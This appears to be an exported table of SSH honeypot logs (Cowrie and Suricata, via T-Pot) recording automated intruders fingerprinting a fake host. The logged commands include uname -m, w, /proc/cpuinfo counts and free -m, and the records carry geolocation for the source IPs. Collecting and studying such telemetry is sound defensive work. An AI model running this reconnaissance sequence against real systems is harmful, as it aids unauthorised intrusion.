32625	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:12.903183+03	2021-09-20 15:00:03.722716+03	{"_id": "gQYNA3wBvYTbRNuEkEuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "96.78.175.36", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3668968677520752, "duplicate": true, "timestamp": "2021-09-20T11:53:12.903183Z", "@timestamp": "2021-09-20T11:53:12.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32626	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:13.540189+03	2021-09-20 15:00:03.723716+03	{"_id": "hAYNA3wBvYTbRNuElEt_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "96.78.175.36", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36675214767456055, "duplicate": true, "timestamp": "2021-09-20T11:53:13.540189Z", "@timestamp": "2021-09-20T11:53:13.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32627	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:13.174097+03	2021-09-20 15:00:03.724718+03	{"_id": "gwYNA3wBvYTbRNuElEt_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:13.174097Z", "@timestamp": "2021-09-20T11:53:13.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32628	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:03.899546+03	2021-09-20 15:00:03.726717+03	{"_id": "TwYNA3wBvYTbRNuEbUtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:48522 (192.168.176.2:22) [session: 0d206a306e54]", "session": "0d206a306e54", "@version": "1", "protocol": "ssh", "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:53:03.899546Z", "@timestamp": "2021-09-20T11:53:03.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32629	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:53:04.085967+03	2021-09-20 15:00:03.727716+03	{"_id": "UQYNA3wBvYTbRNuEbkva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 1700675887031187, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:53:04.085967Z", "@timestamp": "2021-09-20T11:53:04.085Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32630	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.190611+03	2021-09-20 15:00:03.729716+03	{"_id": "ewYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:11.190611Z", "@timestamp": "2021-09-20T11:53:11.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32631	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.191108+03	2021-09-20 15:00:03.730716+03	{"_id": "fAYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:11.191108Z", "@timestamp": "2021-09-20T11:53:11.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32637	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:13.838395+03	2021-09-20 15:00:03.737718+03	{"_id": "hQYNA3wBvYTbRNuElEt_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:13.838395Z", "@timestamp": "2021-09-20T11:53:13.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32632	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.556905+03	2021-09-20 15:00:03.731716+03	{"_id": "fQYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "96.78.175.36", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3669133186340332, "duplicate": true, "timestamp": "2021-09-20T11:53:11.556905Z", "@timestamp": "2021-09-20T11:53:11.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32633	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:12.240343+03	2021-09-20 15:00:03.732716+03	{"_id": "fgYNA3wBvYTbRNuEkEuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "96.78.175.36", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3840615749359131, "duplicate": true, "timestamp": "2021-09-20T11:53:12.240343Z", "@timestamp": "2021-09-20T11:53:12.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32634	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:12.536367+03	2021-09-20 15:00:03.733747+03	{"_id": "fwYNA3wBvYTbRNuEkEuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:12.536367Z", "@timestamp": "2021-09-20T11:53:12.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32635	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:12.536903+03	2021-09-20 15:00:03.735718+03	{"_id": "gAYNA3wBvYTbRNuEkEuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:12.536903Z", "@timestamp": "2021-09-20T11:53:12.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32636	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:13.173519+03	2021-09-20 15:00:03.736747+03	{"_id": "ggYNA3wBvYTbRNuElEt_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:13.173519Z", "@timestamp": "2021-09-20T11:53:13.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32665	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:20.38856+03	2021-09-20 15:00:03.773716+03	{"_id": "7wYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "43785dc28314", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:20.388560Z", "@timestamp": "2021-09-20T11:53:20.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32638	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:13.838938+03	2021-09-20 15:00:03.738747+03	{"_id": "hgYNA3wBvYTbRNuElEt_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:13.838938Z", "@timestamp": "2021-09-20T11:53:13.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32639	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:09.380122+03	2021-09-20 15:00:03.739747+03	{"_id": "cAYNA3wBvYTbRNuEhEvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3db66ca9070eb8caba1f72e49a786ff5e742d1c512ac5ec6d9030bdf13b84dbe", "src_ip": "96.78.175.36", "ttylog": "log/tty/3db66ca9070eb8caba1f72e49a786ff5e742d1c512ac5ec6d9030bdf13b84dbe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3db66ca9070eb8caba1f72e49a786ff5e742d1c512ac5ec6d9030bdf13b84dbe after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.1867380142211914, "duplicate": false, "timestamp": "2021-09-20T11:53:09.380122Z", "@timestamp": "2021-09-20T11:53:09.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32640	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:10.222754+03	2021-09-20 15:00:03.741719+03	{"_id": "dAYNA3wBvYTbRNuEiEvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "96.78.175.36", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3703148365020752, "duplicate": true, "timestamp": "2021-09-20T11:53:10.222754Z", "@timestamp": "2021-09-20T11:53:10.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32641	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:10.51865+03	2021-09-20 15:00:03.742748+03	{"_id": "dQYNA3wBvYTbRNuEiEvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:10.518650Z", "@timestamp": "2021-09-20T11:53:10.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32642	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:10.519192+03	2021-09-20 15:00:03.743746+03	{"_id": "dgYNA3wBvYTbRNuEiEvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:10.519192Z", "@timestamp": "2021-09-20T11:53:10.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
45149	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:40:32.531622+03	2021-09-20 16:45:02.57859+03	{"_id": "hgZvA3wBvYTbRNuE1Kp8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:32.531622Z", "@timestamp": "2021-09-20T13:40:32.531Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32643	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.190075+03	2021-09-20 15:00:03.744718+03	{"_id": "eAYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:11.190075Z", "@timestamp": "2021-09-20T11:53:11.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32644	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:17.855133+03	2021-09-20 15:00:03.745717+03	{"_id": "owYNA3wBvYTbRNuEpEsg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:17.855133Z", "@timestamp": "2021-09-20T11:53:17.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
